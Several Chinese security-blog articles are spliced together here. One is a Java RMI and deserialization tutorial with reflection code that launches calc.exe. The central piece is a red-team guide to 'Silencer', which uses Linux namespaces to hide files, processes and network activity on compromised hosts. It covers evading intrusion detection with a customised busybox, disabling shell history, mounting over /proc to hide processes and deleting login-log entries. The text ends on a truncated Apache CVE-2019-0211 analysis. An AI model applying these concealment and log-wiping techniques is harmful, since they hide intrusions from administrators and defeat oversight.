Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();//获得构造函数
m.setAccessible(true);//设置构造函数为可访问
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
可见，这里使用了一个方法 setAccessible ，这个是必须的。我们在获取到一个私有方法后，必须用setAccessible
修改它的作用域，否则仍然不能调用。
## RMI 1
RMI全称是Remote Method
Invocation，远程⽅法调⽤。从这个名字就可以看出，他的⽬标和RPC其实是类似的，是让某个Java虚拟机上的对象调⽤另⼀个Java虚拟机中对象上的⽅法，只不过RMI是Java独有的⼀种机制。`RMI`用于构建分布式应用程序，`RMI`实现了`Java`程序之间跨`JVM`的远程通信。
下面我们实验一下
**RMIServer.java**
package rmi;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote{
// 继承了 java.rmi.Remote 的接⼝
public String hello() throws RemoteException;
//中定义我们要远程调⽤的函数，⽐如这⾥的 hello()
// public String exec() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{
protected RemoteHelloWorld() throws RemoteException{
super();
}//⼀个实现了此接⼝的类
public String hello() throws RemoteException{
System.out.println("call from 10.23.71.34.....");
return "hello world";
}
// public String exec() throws RemoteException{
// System.out.println("call from 10.23.71.34.....");
// try {
// Runtime.getRuntime().exec("calc");
// } catch (IOException e) {
// e.printStackTrace();
// }
// return "nice";
// }
}
private void start() throws Exception{
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello",h);
}
public static void main(String[] args) throws Exception {
//⼀个主类⽤来创建Registry，并将上⾯的类实例化后绑定到⼀个地址。这就是我们所谓的Server了
new RMIServer().start();
}
}
**RMIClient.java**
package rmi;
import java.rmi.Naming;
public class RMIClient {
public static void main(String[] args) throws Exception{
//使⽤ Naming.lookup 在Registry中寻找到名字是Hello的对象
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://10.23.71.34:1099/Hello");
String[] s = Naming.list("rmi://10.23.71.34:1099");//
System.out.println(s);
String ret = hello.hello();
System.out.println(ret);
}
}
虽说执⾏远程⽅法的时候代码是在远程服务器上执⾏的，但实际上我们还是需要知道有哪些⽅法，这时候接⼝的重要性就体现了，这也是为什么我们前⾯要继承 Remote
并将我们需要调⽤的⽅法写在接⼝IRemoteHelloWorld ⾥，因为客户端也需要⽤到这个接⼝。
我们可以抓包看看RMI的通信过程。
这就是完整的通信过程，我们可以发现，整个过程进⾏了两次TCP握⼿，也就是我们实际建⽴了两次TCP连接。
第⼀次建⽴TCP连接是连接远端 10.23.71.34
的1099端⼝，这也是我们在代码⾥看到的端⼝，⼆者进⾏沟通后，我向远端发送了⼀个“Call”消息，远端回复了⼀个“ReturnData”消息，然后我新建了⼀个TCP连接，连到远端的53758端⼝。（应该来说每个人连到远端端口不一样）
下面的新建的TCP连接的数据包
所以捋⼀捋这整个过程，⾸先客户端连接Registry，并在其中寻找Name是Hello的对象，这个对应数据流中的Call消息；然后Registry返回⼀个序列化的数据，这个就是找到的Name=Hello的对象，这个对应数据流中的ReturnData消息；客户端反序列化该对象，发现该对象是⼀个远程对象，地址在10.23.71.34:53758
，于是再与这个地址建⽴TCP连接；在这个新的连接中，才执⾏真正远程⽅法调⽤，也就是 hello() 。
我们借⽤下图来说明这些元素间的关系（来原p师傅）
简单的说：RMI Registry就像⼀个⽹关，他⾃⼰是不会执⾏远程⽅法的，但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系；RMI
Client通过Name向RMI Registry查询，得到这个绑定关系，然后再连接RMI Server；最后，远程⽅法实际上在RMI Server上调⽤。
其实下面的一段代码中包含了RMI Registry和Server俩部分。第一行创建并运行RMI
Registry，第二行将RemoteHelloWorld对象绑定到Hello这个名字上。
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/Hello", new RemoteHelloWorld());
## RMI 2
我们可以在客户端利用list和lookup方法远程调用。
String[] s = Naming.list("rmi://10.23.71.34:1099");//list方法可以列出目标上所有绑定的对象：
System.out.println(s);
Remote a =Naming.lookup("rmi://10.23.71.34:1099");
System.out.println(a);
lookup作用就是获得某个远程对象,那么，只要目标服务器上存在一些危险方法，我们通过RMI就可以对其进行调用，[工具](https://github.com/NickstaDB/BaRMIe)，其中一个功能就是进行危险方法的探测。
## 反序列化
> p师傅的思想：Java设计 readObject 的思路和PHP的`__`wakeup 不同点在于： readObject
> 倾向于解决反序列化时如何还原一个完整对象这个问题，而PHP的 `__`wakeup 更倾向于解决反序列化后如何初始化这个对象的问题。
Java在序列化时一个对象，将会调用这个对象中的 writeObject 方法，参数类型是
ObjectOutputStream ，开发者可以将任何内容写入这个stream中；反序列化时，会调用
readObject ，开发者也可以从中读取出前面写入的内容，并进行处理。
请注意，一个类的对象要想序列化成功，必须满足两个条件：
该类必须实现 java.io.Serializable 接口。
该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的，则该属性必须注明是短暂的。如果你想知道一个 Java
标准类是否是可序列化的，请查看该类的文档。检验一个类的实例是否能序列化十分简单， 只需要查看该类有没有实现 java.io.Serializable接口。
自己写了一个demo了更好的理解
package xlh;
import java.io.*;
public class Person implements java.io.Serializable{
public String name;
public int age;
Person(String name,int age){
this.name = name;
this.age = age;
}
public static void serialize(Object obj) throws IOException {
FileOutputStream fileOut = new FileOutputStream("1.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.writeObject("this is object");
out.close();fileOut.close();
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person("LX",21);
serialize(person);
FileInputStream fileIn = new FileInputStream("1.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
Person e = (Person)in.readObject();//反序列化
System.out.println("姓名:"+e.name+"年龄:"+e.age);
in.close();fileIn.close();
}
}
然后我们使用工具SerializationDumper.jar对生成的序列化文件1.ser进行分析
java -jar SerializationDumper.jar -r 1.ser > 1.txt
STREAM_MAGIC - 0xac ed //声明使用了序列化协议
STREAM_VERSION - 0x00 05 //序列号协议的版本
Contents
TC_OBJECT - 0x73 //声明这是一个新的对象
TC_CLASSDESC - 0x72 //声明这里开始一个新的class
className
Length - 10 - 0x00 0a //class名字的长度
Value - xlh.Person - 0x786c682e506572736f6e //class类名
serialVersionUID - 0xfd ad 62 68 96 15 ea 2c //序列化ID。如果没有指定，则会由算法随机生成一个8byte的ID
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE //标记号，该值声明该对象支持的序列化
fieldCount - 2 - 0x00 02 //该类所包含的域个数
Fields
0:
Int - I - 0x49 //域类型，49表示"I",也就是Int
fieldName
Length - 3 - 0x00 03 //域名字的长度
Value - age - 0x616765 // 域名字的描述
1:
Object - L - 0x4c //域类型
fieldName
Length - 4 - 0x00 04 //域名字的长度
Value - name - 0x6e616d65 // 域名字的描述
className1
TC_STRING - 0x74 //代表一个new String 用String来引用对象
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12 //该String的长度
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b //JVM的标准对象签名表示法
classAnnotations
TC_ENDBLOCKDATA - 0x78 //对象数据块结束的标志
superClassDesc
TC_NULL - 0x70 //说明没有其他超类的标志
newHandle 0x00 7e 00 02
classdata
xlh.Person
values
age
(int)21 - 0x00 00 00 15 //age域的值
name
(object)
TC_STRING - 0x74 //代表一个new String 用String来引用对象
newHandle 0x00 7e 00 03
Length - 2 - 0x00 02 //name域的长度
Value - LX - 0x4c58 //name域的值
TC_STRING - 0x74 //代表一个new String 用String来引用对象
newHandle 0x00 7e 00 04
Length - 14 - 0x00 0e //域的长度
Value - this is object - 0x74686973206973206f626a656374 //域的值
然后我们知道通过readObject ()反序列化类的时候，如果没有控制好(白名单或黑名单)就可能出现问题造成rce。
这里就不在分析URLDNS啦，因为比较简单。就放一张照片吧(做的不好~~2333)
然后就是我们经常说的CC1。流程图如下（网上已经有很多很多好的文章了这里就不在分析）
不过ysoserial中的利用链却不是TransformedMap，而是 **LazyMap**
LazyMap和TransformedMap类似，都来自于Common-Collections库，并继承AbstractMapDecorator。
LazyMap的漏洞触发点和TransformedMap唯一的差别是，TransformedMap是在写入元素的时候执行transform，而LazyMap是在其get方法中执行的
factory.transform 。其实这也好理解，LazyMap的作用是“懒加载”，在get找不到值的时候，它会调用 factory.transform
方法去获取一个值：
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
不过这样就不能直接通过sun.reflect.annotation.AnnotationInvocationHandler中的readObject方法直接调用到Map的get方法，因为readObject方法中没有直接调用到Map的get方法。
所以ysoserial找到了另一条路，AnnotationInvocationHandler类的invoke方法有调用到get：
而这过程用到了java中的对象代理。
java中也有类似于php中的魔术方法`__call`，就是java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
Proxy.newProxyInstance
的第一个参数是ClassLoader，我们用默认的即可；第二个参数是我们需要代理的对象集合；第三个参数是一个实现了InvocationHandler接口的对象，里面包含了具体代理的逻辑。
(这里代理相当于，我们需要找某个人，但是不能直接去找他而是需要通过找和这个人有关系的人才能实现找到他)
更加简单的说如果一个对象用Proxy进行代理只要调用任意方法，就会进入到 该对象的invoke方法中（不知道这样理解对不对，如果有错希望师傅们指出）
## 总结
上面基本上是对p师傅项目的内容进行学习与总结，不过自己也想出了自己认为好的学习方法，也就是在学习java反序列化的时候将链子通过照片的形式展示出来，如上面的urldns和cc1。因为比较烦锁，上面也就只是分享了两个。接下来自己会制作全部的链子（看情况），如果有师傅也感兴趣我们可以一起交流交流通过学习。 | 社区文章 |
# 基于Linux Namespaces 特性 实现的消音
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## TL;DR
* 这不是什么新技术，仅仅只是一些利用。
* 这是一个减少攻击噪音的工具，但同时也会产生其他噪音，但收益大于支出，属于OPSEC一类。
* 使用Linux Namespaces 一部分特性，遇到了一些坑但有相应的解决方案。
* 主要的功能包括隐藏进程、隐藏文件、隐藏网络、清理痕迹，提供合理的SSH手法。
* 目前这还是个玩具
review by Explorer
## Linux Namespaces 简介
在早些时候通过[Exp](https://github.com/zh-explorer)的文章学习到过一点 Docker 底层运行的一些相关特性和机制
[Docker安全性与攻击面分析](https://mp.weixin.qq.com/s/BaeIGrBimww8SUtePDQ0jA)
那么文中有提到：
> Docker 使用了多种安全机制以及隔离措施，包括 Namespace，Cgroup ，Capability 限制，内核强访问控制等等。
其中得知
Linux Control Group （Cgroup）
* 更多偏向系统资源的约束
内核 Capabilities
* 更多偏向容器权限的约束
在看完文章后和Exp也讨论了（Exp yyds 强的可怕 ）同时产生了一个想法，如果我们可以将部分隔离技术带到 Redteam
operation当中，应该可以实现不错的效果。Docker本身就有这让“我们”看不见容器内部发生的事情的特性，那么我们也可以反过来让宿(guan)主(li)机(yuan)
也看不到我们的操作。
所以我们需要了解哪些技术方便我们实现需求，每一种机制都是Docker的组成要素，但我觉得 Namespaces 看起来是个另类的存在。
Linux Namespace 包含了大多数现代容器背后的一些基本技术。比如 PID Namespace
允许隔离进程之间的全局系统资源，这意味着在同一个主机上，运行的两个进程可以出现具有相同PID的情况，但你其实并不能在一个命名空间中通过PS看到这种情况，而是出现在不同PID
命名空间中。
以Docker 为例，当容器启动时会有一系列NS（Namespace 后续简称NS）随之创建。
而这里面就涉及到了 多种 NS 的使用，Linux kernel 为用户态提供了7种 NS 的内核接口使用。
从描述信息来看，的确是一组很有趣的接口，有一些上层工具实现了部分系统namespace管理接口，比如 unshare,
nsenter,ip等，从中我选择了两种 NS 来实现本文要叙述的隐匿实现。
Mount NS/ Net NS, 这两种 NS 最大程度可以帮助我们解决几个问题：
1. 对文件的隐藏
2. 对网络的隐藏
当然，有些师傅会觉得PID NS 为什么不是选择的部分了，关于这个问题，我们后面会知道答案。
举个例子
我们用unshare创建一个 /bin/bash 并让它进入一个新的Net
NS,这个时候我们再看自己的网卡发现除了loopback什么也没有了，因为此刻这个bash和它的一系列子进程都在一个崭新的网络栈当中，已经和其他网络互相隔离。
你可以在这里发现更多和Namespace相关的细节。
[namespaces(7) – Linux manual page](https://man7.org/linux/man-pages/man7/namespaces.7.html)
那么我们先来看一下最终实现的效果是如何的。
## Silencer Demo
[Silencer](https://asciinema.org/a/Sho4y0wmF1hrq5o71vPJwDRgR)
我们可以看到，Adapter代替了 SSH Client 命令帮助我们进行 SSH，并且我们会得到一个
完整的交互式Shell，在这个空间中，我们执行的操作会有隐匿的效果。当然你看到的这些，都是发生在拥有root权限下的。
其实 Adapter 是帮助我们把主程序 Silencer scp 到目标主机上并运行，我们通过流程图来看看发生了什么。
你会看到，当Silencer被传输到目标主机后，会发生一系列调用。
* Adapter 会去调用Silencer 并执行相关功能。
我们进一步看看到底做了什么，这边不会将太多源码的实现，主要以实现思路为主，因为首先代码能力不好，其次实现方式也有很多。
在这之前我们简单看看在Golang中如何去使用NS，你可以在Google上搜索到大量资料。Golang 为我们提供了操作NS的一部分实现接口。
需要使用系统调用（syscall）去完成，简单来讲就是程序直接像内核发起请求接口的过程，比如访问硬件资源，文件系统，创建进程等。
> <https://golang.org/pkg/syscall/>
这个包，就是Golang官方便编写的标准库 – syscall,已经为我们封装好很多实用接口，比如
syscall.Unshare、syscall.Mount、syscall.Readlink等。 在前面提到的 unshare -n
/bin/bash命令中，unshare 实际是使用 Clone()系统调用，
并传递CLONE_NEWNET来完成NetNS的创建,当然可以接受多个CLONE属性。Clone 可以帮助我们创建一个带有隔离属性的进程。
unshare(CLONE_NEWNET)
在Golang中我们可以使用 syscall.SysProcAttr struct 来为我们创建的程序带有相关属性。
在结构体中，我们看到了 Cloneflags并且说明 Flags for clone calls (Linux only)。
那么我们在创建进程的时候就可以使用它来帮助我们附加各种NS属性。
举个例子
如果你想设置多个NS flags 可以这样写。
最后达到的效果就是：
当进入 New UTS Shell 之后我们修改hostname是不会影响到外界。
通过readlink，我们也可以发现 UTS 的确不一样了。
这是使用 CLONE_NEWUTS带来的效果，有了这些基础就会使用其他NS，后续的代码就和搭积木差不多了，就是调用各种系统调用和处理相关逻辑即可。
## init (初始化环境)
这里列举一下，在实现init一共做了哪些事情,以及为什么。这仅仅是我这里的做法。
## 建立隐藏挂载据点
首先我们建立一个隐藏挂载点，我们不需要将整个文件系统隔离，你可以选择任何一个存在的文件夹来做这个操作。目的是为了在此文件夹上设立一个隐藏空间，和宿主机进行相互隔离。从而你可以在此放你任何想放的文件和工具以及运行日志。
我们将一个 tmpfs 内存文件系统挂载在/tmp/rootfs 上。在执行这一步前，我们已经进入了新的Mnt
NS。所以所有的挂载操作都不对外界产生影响。对于外界进程来说，/tmp/rootfs文件夹没有任何变化。
## 配置 resolv.conf 和 .bashrc
我们需要配置隔离空间内的一些基础环境，比如修改.bashrc 加入你想要的一些环境变量，修改resolv.conf是为了规避这种情况。
感觉好像没啥，其实问题很大。
当你在隔离空间内，由于是新的网络环境，这个时候是访问不到本地 systemd-resolve或其他本地DNS服务。产生的问题就是你无法进行域名解析，所以我们也需要对 resolv.conf 进行调整。
我们可以使用 Bind Mount 来帮助我们实现这一点.
> Creating a bind mount
>
> If mountflags includes MS_BIND (available since Linux 2.4), then perform a
> bind mount. A bind mount makes a file or a directory subtree visible at
> another point within the single directory hierarchy. Bind mounts may cross
> filesystem boundaries and span chroot(2) jails.
通过man手册我们可以看到 bind mount 不光可以作用于文件夹，还可以作用于文件，利用 bind mount
将这两个文件复制到一个暂存点，然后再mount 到原有位置即可。这样对原文件的访问会实际访问我们的暂存文件。并且由于Mnt
NS的隔离。Namespace外仍然为访问原来的文件。
以 resolv.conf 为例：
需要设置的flag位就是 syscall.MS_BIND. 我们进行追加的目的是为了不影响原有配置，在部分场景下，这里原有配置里面可能配置了含有内网DNS
Nameserver的情况。如果是这种情况，其实我们不操作resolv.conf也不会有太大问题。
## 建立netns网桥
正如你上面看到的，在你调用 CLONE_NEWNET 之后。你会得到一个新的网络空间，此时除了loopback interface
外你一张网卡也没有，更别谈进行网络通信了。所以我们接下去要看看网络问题如何解决。
原图：<https://i.loli.net/2019/05/04/5ccda44d1f525.png>
根据现有资料我们可以知道，想要让容器内的进程和外界通信需要使用 bridge 网桥、以及虚拟网卡来实现通信。
* 在外界网络空间中创建网桥接口并分配IP
* 然后创建veth接口对（默认情况你使用ip命令创建的虚拟网卡也是成对出现的，一个被删除，另一个也会自动消失）
* veth的特点就是它类似一个队列，当流量从一端进入，就必定会从另外一端出去，根据这个特点，我们就可以将一端依附在全局命名空间brg接口上，另外一段依附在隔离空间的新Net NS上。
* 配置好路由以及转发
这些做完，就可以实现隔离空间像外界发起请求，产生通信的能力，好在以及有人实现了这部分代码。
<https://github.com/teddyking/netsetgo/blob/master/cmd/netsetgo.go>
这是封装好的方法体，我们直接拿来用即可，需要注意的是，我们需要传入隔离进程的PID给接口。
然后你就会发现 外部多了两张网卡，内部多了一张虚拟网卡，和流程图中的逻辑是一样的。
## 配置 iptables
在配置好NetNS网络后，还不完全够，我们还需要配置iptables
转发，因为在这个情况下，你还不能实现从隔离空间的通信到达宿主机之外的网络，因为缺少源地址转换这一层处理。
iptables -t nat -A POSTROUTING -s 10.10.10.0/24-j MASQUERADE
所以我们需要对nat表的POSTROUTING 链加一条转换地址伪装规则。
另外考虑到部分Centos派系的系统和实战情况下，有可能会出现
Forward链默认规则为DROP的情况，或者默认为ACCEPT情况，但是链第一条规则就DROP ANY的问题，我们还可以再添加一条Forward链的规则。
iptables -I FORWARD -j ACCEPT
让这条Any to Any 的规则插入到最顶部。
关于iptables部分目前用的是 exec
实现，你也可以考虑使用cgo去写，因为golang暂时没有发现一个对netfilter封装的像iptables那么好的库。考虑到向下兼容的问题，所以也不会去使用nftables。
## 配置 net.ipv4.ip_forward 转发
在做好iptables之后不要忘记对 net.ipv4.ip_forward内核选项进行修改 ，否则一样是无法达到转发的目的的。
你可以选择 自己写，也可以用一些现成的库，比如：[github.com/lorenzosaino/go-sysctl](http://github.com/lorenzosaino/go-sysctl)
## Persistent Namespaces
持久化的目的是为了方便我们在退出整个隔离环境后下次还能继续进入，在构思持久化 NS
的时候并没有想到很好的方法，就去网上看看并请教Exp，因为自己对整个NS体系的特性掌握的也不熟。
回过头来再看看unshare 的 man手册. 通过搜索关键字发现了相关方法。
<http://karelzak.blogspot.com/2015/04/persistent-namespaces.html>
这篇文章很早也有提到。
通过阅读我们发现最关键的一个步骤就是
❯ unshare —uts=/root/ns-uts
所以我们来看看到底是如何实现的。通过最简单的 strace 我们就可以知道底层是如何调用的。
这部分在源码里位置如下
<https://github.com/karelzak/util-linux/blob/master/sys-utils/unshare.c#L193>
我们发现在unshare 之后调用了一个关键call，就是mount。并且 flag 位设置的 是 MS_BIND 也就是bind mount。
原本情况如果你在主进程退出，相关的NS也会一并跟着销毁，但通过bind mount 持久化的 NS 文件，不会因为主进程退出而销毁，
通过列出文件的inode号，我们发现的确是持久化成功了。相关实现代码和之前处理 resolv.conf 是一样的，这里就不在赘述。
但是处理持久化mnt也没那么简单，你会发现会返回错误 Invalid argument
❯ unshare —mount=/tmp/.ICE-unix/mnt
unshare:mount /proc/276532/ns/mnt on /tmp/.ICE-unix/mnt failed:Invalid
argument
核心原因在于挂载点标志的问题，每个挂载点都有一个propagation type标志。
比如：
* MS_SHARED
* MS_PRIVATE
* MS_SLAVE
* MS_UNBINDABLE
问题原因和解决方案可以在这个issue中找到。
[unshare: Persisting mount namespace no longer working · Issue #289 ·
karelzak/util-linux](https://github.com/karelzak/util-linux/issues/289)
issue
中有提到，基于[systemd](https://wiki.archlinux.org/title/systemd)启动的系统默认是共享挂载的（可能是/，或其他挂载点并不一定全是）。而想要挂载
mntns 必须是在private filesystemd上（其他NS挂载暂时没发现啥问题）。因为我使用的开发系统是Ubuntu
20.04，默认走的是systemd（高版本Centos也迁移到了systemd），所以会产生这个问题。
解决方案就是先建立一个private 挂载点，然后在里面进行持久化mntns。
到此位置 init 的相关工作也就做的差不多了。
## nsjoin (进入Namespace环境)
再次进入隔离空间，也没有那么一帆风顺。
> nsenter – run program with namespaces of other processes
通过 nsenter 接口我们可以让当前进程进入指定的NS空间，其中用到的syscall 是setns。
## Setns with net and mnt
用代码也很好实现,因为syscall 这个包里面没有直接实现setns（当然外部有），但也可以通过 RawSyscall 的方式通过call 调用号来实现。
就在这个时候 对mnt的setns出现了问题（又是这该死的 invalid argument）。
❯ ./SetnstMntTest
[-]setns on mnt namespace failed:invalid argument
后来在 golang 的issue 也发现有人遇到过这个问题
[Calling setns from Go returns EINVAL for mnt namespace · Issue #8676 ·
golang/go](https://github.com/golang/go/issues/8676)
原因是因为go程序默认启动就以多线程的模式运行的，但是setns mnt不能在这种模式下工作，也不太清楚这个限制的原因。解决方案利用的Docker的办法：
使用 cgo 来提前setns，这个时候 go 的runtime 并还没启动。所以我们可以在 golang 中使用 import
“C”的方式来写C，解决这个问题。
## Using busybox anti HIDS
关于Anti的部分现在做的还不算多，我先说一下这里使用busybox 的理由（也是Exp建议并制作的）。
为什么要使用busybox
使用busybox的首要考虑是为了对抗HIDS。HIDS的一个基本功能之一就是记录恶意的命令执行。有关这个功能的实现方式有很多种，在不考虑从ring0层面上进行监控的前提下，很多厂商都会使用修改bash程序，修改libc或者使用全局ld
preload方式来监控程序对于命令执行函数(system, popen, execve)的调用。
常见HIDS进行命令监控的方法（不完全,来自网上的一些方法总结）：
* Patch bash/other shell
* PROMPT_COMMAND 监控
* 在ring3通过/etc/ld.so.preload劫持系统调用
* 二次开发glibc加入监控代码(据说某产品就是这么做监控的)
* 基于调试器思想通过ptrace()主动注入
* 遍历/proc目录，无法捕获瞬间结束的进程。
* Linux kprobes/uprobes调试技术，并非所有Linux都有此特性，需要编译内核时配置。
* 修改glic库中的execve函数，但是可通过int0x80绕过glic库，这个之前360 A-TEAM一篇[文章](http://mp.weixin.qq.com/s?__biz=MzUzODQ0ODkyNA==&mid=2247483854&idx=2&sn=815883b02ab0000956959f78c3f31e2b&scene=21#wechat_redirect)有写到过。
* 修改sys_call_table，通过LKM(loadable kernel module)实时安装和卸载监控模块，但是内核模块需要适配内核版本。
* ebpf yyds (目测是最理想的方法)
为了对抗ring3层面上的hook。我们就需要一个单独编译的，不依赖libc，并且全静态编译不调用外部命令执行方法的shell。
除此之外，考虑到部分hids除了hook
bash之外，可能还会对一些常用的命令进行修改和检测。所以我们希望能有一个不依赖任何so库，只需要一个文件就能提供shell以及一些常用命令的工具。并且考虑到实际攻防中的网络情况。我们还希望这个文件的大小能够尽量的小。
这样的解决方案在IOT领域还是挺常见的。由于IOT设备的特殊性，上述要求也是IOT设备中对对于shell的常见要求。所以很自然的就可以想到，只要把IOT领域最常见的解决方案busybox稍微做一下定制。就能满足要求了。
## 定制busybox
使用busybox的另外一个好处就是支持定制。结合红队的常见需求，我们对busybox做了如下一些自定义的配置。
* FEATURE_SUID [=n]
出于安全考虑，busybox调用shell时默认会drop掉suid权限。这对红队没必要，很多时候还是个麻烦（需要额外调用setresuid）所以禁用
* FEATURE_PREFER_APPLETS [=y]
默认情况下，busybox的shell优先从环境变量PATH中寻找我们执行的命令。基于上一章的讨论，我们更需要busybox优先使用内建的命令。所以启用该选项
* STATIC [=y]
静态编译busybox。让其不依赖任何so库
* CROSS_COMPILER_PREFIX [=musl-]
我们使用musl-libc而不是常规的glibc编译。使用musl-libc的主要优势是能够显著的减少程序的体积。相比于臃肿的glibc来说，针对嵌入式设备准备musl更加的轻量。
* FEATURE_EDITING_SAVEHISTORY [=n]
我们并不希望shell记录任何历史
* 命令裁剪
默认busybox支持的命令太多了。许多命令并没有什么用。所以这里根据需要只保留了部分对红队有帮助的命令用以减少体积。
* 修改源码以支持任意文件名
默认情况下，busybox根据自身程序来判断执行什么命令。比如把程序命名成ls就执行ls，命名成wget就执行wget。其中特例是如果程序以busybox开头，则会根据命令行参数的第一项来执行对应命令。
但是上传的时候不能耿直的就叫busybox。基本的伪装还是要做的。所以就需要修改一点源码。需要修改
libbb/appletlib.c中的run_applet_and_exit函数。在程序根据自身文件名寻找applet失败的时候，转而使用第一个参数来寻找applet即可
最终编译出来的busybox经过upx压缩，大小在350kb左右。属于可以接受的范围。
对于busybox内置的命令都使用本身来执行，如果没有再调用外部命令，默认情况下也不会记录各种 shell history，省去了你经常敲:
unsetPROMPT_COMMAND HISTORY HISTFILEHISTSAVE HISTZONE HISTORY
HISTLOG;exportHISTFILE=/dev/null;
这里使用 go-bindata 的方法将 busybox 打包进自身然后释放到隔离空间内，然后运行，这样外面也是看不到的。
## 隐藏痕迹
### Process Hide
这是单独启动的一个子进程来完成的操作，目的是为了做进程隐藏，和一些擦屁股的事情。
这里用到的方法 —— 挂载覆盖/proc/pid 目录 ：
[Linux进程隐藏：中级篇 – FreeBuf网络安全行业门户](../articles/system/250714.html)
这是一种成本很低快速可完成的方法，但同时也很容易暴露。
这里回答之前的坑，为什么不使用PID NS来做进程隔离。要使用PID NS
我们需要一个新的rootfs，并且持久化的时候至少需要一个进程保持运行。一个最小的 tiny core
rootfs,他的大小大概在16m左右（可进一步缩小）。
但设想一下，如果我们深处多层代理的情况要传输包括自身在内接近20m的文件到target主机上，这可能是件很糟糕的事情，所以目前我先用这种方式代替，后面想想方法再切换过去，但不得不说使用新的rootfs
是解决PID hide最佳方式。
代码依然是比较简单的。
整个过程会在一个 go 协程内部不断循环，一旦检测到新的进程启动就会保姆级别帮助mount掉。检测方法很简单就是通过PPID来辨别是否属于其子进程。
### Hide ass
因为我们是使用 SSH terminal 全交互上目标主机的，所以这会有相应的会话记录产生，并被记录到Xtmp文件当中：
寻找过尝试在此过程中不记录这些信息但比较菜没能解决，后来还是通过简单直接的方式删除对应的日志来进行隐藏。
在 emp3r0r post-exploitation framework 中刚好有实现这部分的代码：
[jm33-m0/emp3r0r](https://github.com/jm33-m0/emp3r0r/blob/c2e5c483e4645958004fea40c1609620391957df/core/internal/agent/xtmp.go#L15)
但是在这作者写错了utmp的日志位置，这里应该是 /var/run/utmp。
xtmpFiles :=[]string{“/var/log/wtmp”,”/var/log/btmp”,”/var/log/utmp”}
并且作者使用的是字符串包含的方式来进行匹配删除，其实并没有去解析Xtmp二进制文件的各个位的含义，这样带来的问题就是无法精确控制你要删除的条目。
但这些问题你可以通过匹配其他特征去解决，或者自行去解析每个bytes。
### SSH Client
这里写的Adapter其实主要在于 SCP Silencer
到目标主机上（我以为要把卢老板的代码删完，后来发现卢老板写的真香），并执行启动过程的自动化操作。其实你完全可以自己手工搞上去，然后在用标准ssh
client 执行命令去启动Silencer（但不建议）。
目前这还是个玩具，还需要进一步改进，欢迎讨论更多降噪→消音→隐匿的手法。
完善后会同步到 <https://github.com/P1-Team/Silencer>。
## Reference
* [Docker安全性与攻击面分析] <https://mp.weixin.qq.com/s/BaeIGrBimww8SUtePDQ0jA>
* [namespaces-in-go] <a href=”https://medium.com/[@teddyking](https://github.com/teddyking "@teddyking")/namespaces-in-go-network-fdcf63e76100″”>https://medium.com/@teddyking/namespaces-in-go-network-fdcf63e76100
* [使用golang理解Linux namespace] <https://here2say.com/40/>
* [emp3r0r](https://zhuanlan.zhihu.com/p/387830848/edit)(<https://github.com/jm33-m0/emp3r0r/blob/c2e5c483e4645958004fea40c1609620391957df/core/internal/agent/xtmp.go#L15>)
* [Linux进程隐藏：中级篇] [https://www.freebuf.com/articles/system/250714.html](../articles/system/250714.html)
* [Linux 系统动态追踪技术介绍] <https://blog.arstercz.com/introduction_to_linux_dynamic_tracing/>
* [PROMPT_COMMAND](https://zhuanlan.zhihu.com/p/387830848/edit)(<https://bzd111.me/2020/01/15/bash-or-zsh-log-commands.html>)
* [如何在Linux下监控命令执行] [https://mp.weixin.qq.com/s?__biz=MzUzODQ0ODkyNA==&mid=2247483854&idx=2&sn=815883b02ab0000956959f78c3f31e2b](https://mp.weixin.qq.com/s?__biz=MzUzODQ0ODkyNA==&mid=2247483854&idx=2&sn=815883b02ab0000956959f78c3f31e2b)
* [「驭龙」Linux执行命令监控驱动实现解析] <https://www.anquanke.com/post/id/103520>
* [namespaces(7) — Linux manual page] <https://man7.org/linux/man-pages/man7/namespaces.7.html>
* [persistent namespaces] <http://karelzak.blogspot.com/2015/04/persistent-namespaces.html>
* [netsetgo] <https://github.com/teddyking/netsetgo/blob/master/cmd/netsetgo.go>
* [go-interactive-shell] <https://mritd.com/2018/11/09/go-interactive-shell/>
* <https://github.com/karelzak/util-linux/issues/289>
* <https://github.com/golang/go/issues/8676> | 社区文章 |
# CVE-2019-0211：Apache HTTP服务组件提权漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 介绍
从2.4.17到 2.4.28版本，Apache HTTP
发现存在本地提权漏洞，原因是数组访问越界导致任意函数调用。该漏洞由Apache的优雅重启导致(apache2ctl
graceful).在标准Linux配置中，logrotate实用程序每天上午6:25运行此命令一次，以便重置日志文件句柄。
该漏洞影响mod_prefork，mod_worker和mod_event。下面演示以mod_prefork为主。
## 0x01 漏洞描述
多处理模块(MPM)，prefork模型中，主服务进程以root权限模式运行，管理一个单线程，低权限（www-data）工作进程池，用于处理HTTP请求。
├─httpd(11666)─┬─httpd(12300)
│ ├─httpd(12301)
│ ├─httpd(12302)
│ ├─httpd(12303)
│ └─httpd(12304)
root 11666 0.0 0.3 272128 12944 ? Ss 15:01 0:00 /usr/local/httpd//bin/httpd -k restart
